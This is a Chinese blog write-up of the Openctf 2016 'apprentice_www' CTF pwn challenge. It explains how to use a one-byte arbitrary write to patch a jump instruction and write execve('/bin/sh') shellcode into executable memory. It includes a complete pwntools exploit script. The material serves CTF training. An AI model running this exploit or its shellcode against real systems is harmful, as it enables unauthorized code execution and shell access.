【Writeup】i春秋 Linux Pwn 入门教程_Openctf 2016-apprentice_www
2019-08-27 21:31
861 查看
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/m0_38100569/article/details/100108868
0x01 解题思路
-
查看文件基本信息
-
IDA查看
main
setup
调用mprotect函数给.bss、.text、.data等段增加了可读可写可执行权限butterflySwag
接收两次用户输入,第一次输入v1为一个地址,第二次输入v2为一个整数。之后会把v2的最低一个字节写入到v1指向的内存单元。这样就可以把shellcode写入到任意的可读可执行页。但是由于一次只能写入一个字节,需要跳转到第一个scanf执行之前循环接受输入。那么就可以把080485D9处的jnz短跳转指令的操作数修改一下,使其跳转至0804859D处循环执行写入shellcode。注意操作数的计算方式:跳转点地址-跳转指令的后一条指令的地址
(单字节)。另外,输入的shellcode地址和shellcode单个字节都必须转成字符串。
0x02 EXP
#!/usr/bin/python #coding:utf-8 from pwn import * io = process('./apprentice_www') shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" jnz_param_addr = 0x080485DA shellcode_addr = 0x080485DB io.sendline(str(jnz_param_addr)) io.sendline(str(0xc2)) for i in range(len(shellcode)): io.sendline(str(shellcode_addr + i)) io.sendline(str(ord(shellcode[i]))) io.sendline(str(jnz_param_addr)) io.sendline(str(0x00)) io.interactive()
相关文章推荐
- volga-ctf-quals-2016 pwn web_of_scicen_250 writeup
- 南邮CTF-WEB-write-up 教程详细解说
- bugku ctf Reverse 逆向入门 writeup
- 0ctf-2016 pwn-warmup writeup
- [zctf 2016] reverse 100 write up
- zctf-pwn500-restaurant-write-up
- H4CK1T CTF 2016 Mexico-Remote pentest writeup
- sharif ctf pwn t00p_secrets writeup
- i春秋ctf训练write up(一)
- Seccon CTF 2016 部分Writeup.md
- 0ctf 2017 kernel pwn knote write up
- iptables入门教程--设置静态防火墙(z)来自www.linuxsir.org 作者liweioop
- hitcon 2016 pwn babyheap writeup
- TWCTF 2016 (Tokyo Westerns CTF ) WEB WriteUp
- CTF-练习平台 writeup web
- Linux Bash Shell快速入门 在线教程
- CUIT CTF WriteUp-初中数学题
- 绿盟杯NSCTF(CCTF)2017 pwn writeup
- Unix/Linux环境C编程入门教程(12) openSUSECCPP以及Linux内核驱动开发环境搭建
- linux文件I/O编程 (open、read、write、lseek、close)